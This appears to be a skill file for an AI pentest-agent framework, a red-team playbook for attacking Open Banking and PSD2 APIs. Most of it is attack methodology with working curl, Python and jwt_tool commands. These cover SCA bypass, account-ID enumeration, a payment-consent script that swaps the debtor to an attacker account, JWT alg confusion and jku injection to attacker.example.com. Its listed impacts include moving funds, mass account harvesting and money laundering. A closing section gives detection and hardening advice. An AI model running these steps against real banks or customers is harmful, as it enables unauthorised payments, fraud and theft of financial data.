| name | open-banking-attack |
| description | Open Banking / PSD2 / Open Finance attacks — FAPI (Financial-grade API), OpenID Connect for Financial APIs, OAuth2 PKCE, Strong Customer Authentication (SCA) bypass, AIS/PIS/CBPII API abuse, payment redirection, consent manipulation. Covers UK Open Banking, US FDX, Brazil Open Finance, India Account Aggregator, Singapore MAS APIX, Australia CDR. Includes 2024-2025 incidents (Token Hijacking, IdOR on AIS endpoints, PIS redirect manipulation). |
| origin | kali-claw Wave 10 (v0.1.41) — 2026-06-28 |
| version | 1.0.0 |
| compatibility | {"kali_version":"2025.2","python_version":">=3.11"} |
| allowed-tools | ["burpsuite","mitmproxy","httpx","curl","jq","python3","oidc-debugger","jwt-tool","oauth2-proxy","postman","gh"] |
| metadata | {"domain":"fintech-banking","tool_count":13,"guide_count":2,"mitre":"TA0001-Initial Access, TA0006-Credential Access, TA0009-Collection, T1552-Unsecured Credentials, T1550-Use Alternate Authentication Material, T1185-Man in the Browser"} |
Open Banking Attack Skill
Red-team operations against Open Banking / Open Finance infrastructure — the modern OAuth2/FAPI stack that powers UK Open Banking, PSD2, Brazil Open Finance, US FDX, India Account Aggregator, and more. Targets: TPPs (Third-Party Providers), banks (ASPSPs), consent APIs, and the customer journey from consent → data access → payment initiation.
Summary
Open Banking (formerly PSD2) is the API-driven banking standard that lets customers share account data with Third-Party Providers (TPPs) and initiate payments via API. As of 2024-2026:
- UK Open Banking: ~10M active users, 400+ regulated TPPs
- EU PSD2/PSD3: every EU bank exposes AIS/PIS APIs
- Brazil Open Finance: 800M+ API calls/month
- India Account Aggregator: 1.4B+ AA transactions
- US FDX: 200M+ accounts accessible via FDX API
- Singapore MAS APIX: cross-border pilots
- Australia CDR: Consumer Data Right, mandatory for banks
The standard stack is:
- FAPI 2.0 (Financial-grade API) — OAuth2 + OIDC profile for finance
- MTLS sender-constrained tokens — prevents token theft
- DPoP (Demonstration of Proof-of-Possession) — JWT-bound tokens
- PAR (Pushed Authorization Requests) — request object by reference
- JARM (OAuth2 Authorization Response Mode) — JWT response
- JWS / JWE — signed and encrypted requests/responses
But implementation is uneven. This skill covers the realistic attack surface:
- SCA (Strong Customer Authentication) bypass — redirect URI manipulation, app-to-app fraud
- AIS (Account Information Service) abuse — IdOR on account endpoints, consent scope escalation
- PIS (Payment Initiation Service) attacks — debtor account swap, creditor account manipulation
- Consent manipulation — re-using consents, forging consent IDs
- OAuth2 profile attacks — PKCE bypass, state reuse, code interception
- JWT signature forgery — alg confusion, jku injection
- TPP onboarding fraud — eIDAS cert theft, sandbox-to-prod escalation
- App-to-app (a2a) payment fraud — redirect manipulation
- Open Banking Screen Scraping vs API scrapers
Distinct from adjacent skills:
| Skill | Scope |
|---|
api-security | Generic REST API attacks (BOLA, BFLA, mass assignment) |
web-auth-bypass | Web auth (cookie, session, CSRF) |
crypto-attacks | Algorithm-level (RSA, AES, signatures) |
open-banking-attack (this) | Financial-grade OAuth2 / FAPI / SCA / AIS / PIS stack |
Use Cases
Reconnaissance & Discovery
- Identify ASPSP (Account Servicing Payment Services Provider) — bank's Open Banking endpoints
- Discover OIDC / FAPI endpoints via
.well-known/openid-configuration
- Enumerate TPPs in registry (FCA registry for UK, OBIE for Brazil)
- Map consent APIs —
/consents, /consents/{id}, /payments
- Identify SCA flows — redirect vs decoupled vs embedded
- Locate FAPI profile — FAPI 1.0 vs 2.0
Initial Access
- TPP registration fraud — register as TPP, get certs, test in sandbox
- eIDAS QWAC/QSeal cert theft — leaked from compromised TPP
- Compromised customer OAuth2 flow — code interception via redirect URI manipulation
- App-to-app (a2a) payment interception — pre-fund scam
- Phishing for Open Banking consent — fake TPP consent page
- Compromised TPP — supply chain via TPP-ASPSP integration
Privilege Escalation
- Consent scope escalation — requested
accounts but accessed payments
- AIS → PIS pivot — use AIS consent to initiate payments
- Single-account consent → multi-account access — IdOR on
/accounts/{id}
- Consent re-use across TPPs — consent IDs not scoped to TPP
- Refresh token abuse — infinite token lifetime via refresh loop
Persistence
- Long-lived consent —
recurringIndicator: true, validToDate: 2099-12-31
- Silent refresh token rotation — keep session alive without customer
- Consent refresh without re-SCA — exploit SCA exemption rules
- Backdoor TPP registration — register TPP with attacker cert
Defense Evasion
- PAR request object obfuscation — JWT with complex nested claims
- JWT alg confusion — HS256 with attacker HMAC key
- JARM-only response mode — hide response in JWT
- MTLS-bypassed endpoints — find endpoints that don't enforce mTLS
Collection & Exfiltration
- AIS bulk read —
/accounts/{id}/transactions for years of history
- Consented balances —
/balances for all accounts under consent
- Beneficiary lists —
/accounts/{id}/beneficiaries
- Standing orders —
/accounts/{id}/standing-orders
- Direct debits —
/accounts/{id}/direct-debits
Impact
- Unauthorized payment initiation — PIS attack moves funds
- Account takeover — AIS + beneficiary swap + PIS
- Mass account info harvest — broad TPP access across customers
- Customer privacy violation — bulk AIS read
- Money laundering facilitation — PIS for layering
Core Tools
Open Banking Standards (Targets)
| Standard | Region | Notes |
|---|
| FAPI 1.0 Baseline | UK, EU, BR | OAuth2 profile for finance |
| FAPI 1.0 Advanced | UK, EU | mTLS or DPoP sender-constrained |
| FAPI 2.0 | UK, EU, BR | Security profile (2024+) |
| FAPI CIBA | EU | Client-Initiated Backchannel Authentication |
| OIDC for FAPI | Global | Identity layer |
| UK OBIE | UK | UK Open Banking Implementation Entity |
| PSD2 / PSD3 | EU | Payment Services Directive |
| RTS | EU | Regulatory Technical Standards on SCA |
| OB BR | Brazil | Open Finance Brazil |
| FDX | US | Financial Data Exchange |
| India AA | India | Account Aggregator |
| MAS APIX | Singapore | Cross-border pilots |
| CDR | Australia | Consumer Data Right |
Roles (in scope as targets)
| Role | Acronym | Description |
|---|
| Account Servicing PSP | ASPSP | The bank |
| Third-Party Provider | TPP | API consumer |
| Payment Initiation PSP | PISP | PIS provider |
| Account Information PSP | AISP | AIS provider |
| Card-Based Payment IIP | CBPII | Funds confirmation |
| Payment Instrument Issuer | PII | For card-based payments |
Offensive Toolkit
httpx -u https://bank.example.com/.well-known/openid-configuration -status-code -title
curl -s https://bank.example.com/.well-known/openid-configuration | jq .
mitmproxy --mode reverse:https://tpp.example.com
burpsuite
jwt-tool $(cat token.jwt) -X a
jwt-tool $(cat token.jwt) -T
jwt_tool $(cat token.jwt) -X k
curl -sk https://bank.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
curl -sk https://bank.example.com/open-banking/v3.1/pisp/domestic-payment-consents \
-H "Authorization: Bearer $TOKEN" \
-d @consent.json
oauth2-proxy --config tpp.cfg
oidc-debugger
Methodology
Phase 1 — Reconnaissance
curl -s https://bank.example.com/.well-known/openid-configuration | jq .
curl -s https://bank.example.com/.well-known/openid-configuration | jq '.scopes_supported'
curl -s https://matls-auth.example.com/.well-known/openid-configuration
curl -s https://api.example.com/open-banking/v3.1/aisp/accounts
Phase 2 — TPP Registration
To legitimately test Open Banking, you need a TPP identity:
- Register sandbox account on bank's developer portal
- Generate eIDAS QWAC + QSeal certs (sandbox)
- Register OAuth2 client (TPP onboarding)
- Get
client_id, client_secret, SSA (Software Statement Assertion)
curl -X POST https://register.example.com/v1.1/register/ \
-H 'Content-Type: application/jwt' \
-d @ssa.jwt
Phase 3 — Consent Flow Testing
Test the AIS consent flow:
- AIS client creates consent via API
- Bank returns consent ID
- Customer redirected to bank for SCA
- Customer approves consent
- Bank returns authorization code
- TPP exchanges code for access token
- TPP uses token to read accounts
Phase 4 — SCA Bypass
Try to skip SCA:
- Contactless exemption abuse (low-value payment without SCA)
- Trusted beneficiary list abuse
- Corporate payment SCA exemption abuse
- Redirect URI manipulation to capture code without SCA completion
Phase 5 — AIS Abuse
With valid AIS consent:
- Enumerate account IDs (IdOR)
- Read transactions beyond consent scope
- Read balances on accounts not in consent
- Read beneficiary lists, standing orders, direct debits
Phase 6 — PIS Abuse
With PIS consent:
- Initiate payment to attacker-controlled creditor
- Modify debtor account after consent
- Modify amount after consent
- Chain to multiple payments
Phase 7 — Token Abuse
Test access token security:
- mTLS enforcement (does token work without cert?)
- DPoP enforcement (does token work without DPoP proof?)
- Token replay across endpoints
- Refresh token abuse
Practical Steps
Step A — Discover OIDC config
curl -s https://auth.example.com/.well-known/openid-configuration | jq . > oidc-config.json
jq '. | keys' oidc-config.json
jq '.request_object_signing_alg_values_supported' oidc-config.json
jq '.code_challenge_methods_supported' oidc-config.json
jq '.scopes_supported' oidc-config.json
Step B — Test PAR (Pushed Authorization Requests)
curl -sk -X POST https://auth.example.com/par \
-H 'Content-Type: application/x-www-form-urlencoded' \
--cert client.crt --key client.key \
-d 'response_type=code&client_id=REPLACE_WITH_YOUR_CLIENT_ID&redirect_uri=https://tpp.example.com/cb&scope=accounts&code_challenge=REPLACE_WITH_YOUR_CHALLENGE&code_challenge_method=S256&state=abc123'
Step C — Test mTLS sender-constrained tokens
TOKEN=$(curl -sk -X POST https://auth.example.com/token \
--cert client.crt --key client.key \
-d 'grant_type=authorization_code&code=...&redirect_uri=...&client_id=...' | jq -r .access_token)
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
curl -sk https://api.example.com/open-banking/v3.1/aisp/accounts \
-H "Authorization: Bearer $TOKEN"
Step D — AIS IdOR
TOKEN=...
ACCOUNT_A=REPLACE_WITH_YOUR_ACCOUNT_A_ID
ACCOUNT_B=REPLACE_WITH_YOUR_ACCOUNT_B_ID
curl -sk "https://api.example.com/open-banking/v3.1/aisp/accounts/$ACCOUNT_B/transactions" \
-H "Authorization: Bearer $TOKEN" \
--cert client.crt --key client.key
Step E — PIS debtor account manipulation
import requests
consent = {
"Data": {
"Initiation": {
"InstructionIdentification": "kali-1",
"EndToEndIdentification": "kali-1",
"InstructedAmount": {"Amount": "1.00", "Currency": "GBP"},
"CreditorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "12345612345678"
},
"DebtorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "REPLACE_WITH_YOUR_CUSTOMER_SORT_ACCT"
}
}
},
"Risk": {}
}
r = requests.post(
'https://api.example.com/open-banking/v3.1/pisp/domestic-payment-consents',
json=consent,
headers={'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'},
cert=('client.crt', 'client.key')
)
consent_id = r.json()['Data']['ConsentId']
print(f'Consent: {consent_id}')
submission = {
"Data": {
"ConsentId": consent_id,
"Initiation": {
...,
"DebtorAccount": {
"SchemeName": "UK.OBIE.SortCodeAccountNumber",
"Identification": "ATTACKER_SORT_ACCT"
}
}
}
}
r = requests.post(
'https://api.example.com/open-banking/v3.1/pisp/domestic-payments',
json=submission,
headers={'Authorization': f'Bearer {token}'},
cert=('client.crt', 'client.key')
)
Step F — JWT alg confusion
curl -s https://auth.example.com/jwks | jq '.keys[0]'
echo '... modulus ...' | base64 -d > modulus.bin
python3 -c "
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
n = int.from_bytes(open('modulus.bin', 'rb').read(), 'big')
e = 65537
pub = rsa.RSAPublicNumbers(e, n).public_key()
pem = pub.public_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
open('bank-pub.pem', 'wb').write(pem)
"
jwt_tool $TOKEN -X a -S hs256 -k bank-pub.pem
Step G — jku header injection
import jwt
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
priv_pem = priv.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
)
pub = priv.public_key()
pub_jwk = {
'kty': 'RSA',
'kid': 'kali-1',
'n': '...',
'e': 'AQAB'
}
token = jwt.encode(
{'sub': 'admin', 'groups': ['admin']},
priv_pem,
algorithm='PS256',
headers={'jku': 'https://attacker.example.com/jwks.json', 'kid': 'kali-1'}
)
print(token)
Step H — App-to-app (a2a) payment interception
mitmproxy --mode regular
Defense Perspective
Detection
ASPSP (Bank)
- Audit consent creation / approval / usage
- Alert on AIS read beyond consent scope (multi-account reads)
- Alert on PIS to new creditor (above customer baseline)
- Alert on rapid consent creation across many customers (TPP scanning)
- Detect mTLS-mismatched token use (token from cert A used with cert B)
TPP
- Audit customer consent approval / withdrawal
- Detect unexpected eIDAS cert use (cert from different TPP)
- Audit token creation / refresh patterns
Customer-side
- Banking app: alert on a2a payment to new payee
- Push notification for any AIS/PIS event
Hardening
- FAPI 2.0 Security Profile — full enforcement
- PAR — Pushed Authorization Requests mandatory
- mTLS sender-constrained tokens — no exceptions
- JARM — JWT responses prevent query string tampering
- DPoP — backup if mTLS unavailable
- JWT
alg allowlist — only PS256/ES256, no none
- JWKS URL allowlist — bank's JWKS only
- Consent ID cross-TPP check — consent ID tied to TPP client_id
- SCA for every payment — no exemptions for new payees
- Consent limits — max 12 months, renewal requires re-SCA
Incident Response
When Open Banking compromise suspected:
- Revoke TPP certs — eIDAS QWAC/QSeal rotation
- Revoke all consents — bank-wide consent revocation
- Block affected customer accounts — pause PIS
- Audit recent payments — last 30 days, flag for review
- Notify regulator — FCA (UK), BaFin (DE), etc.
- Notify affected customers — within 72h (GDPR)
- Forensics — log analysis for token replay patterns
- Post-mortem — profile adherence audit, JWKS rotation
References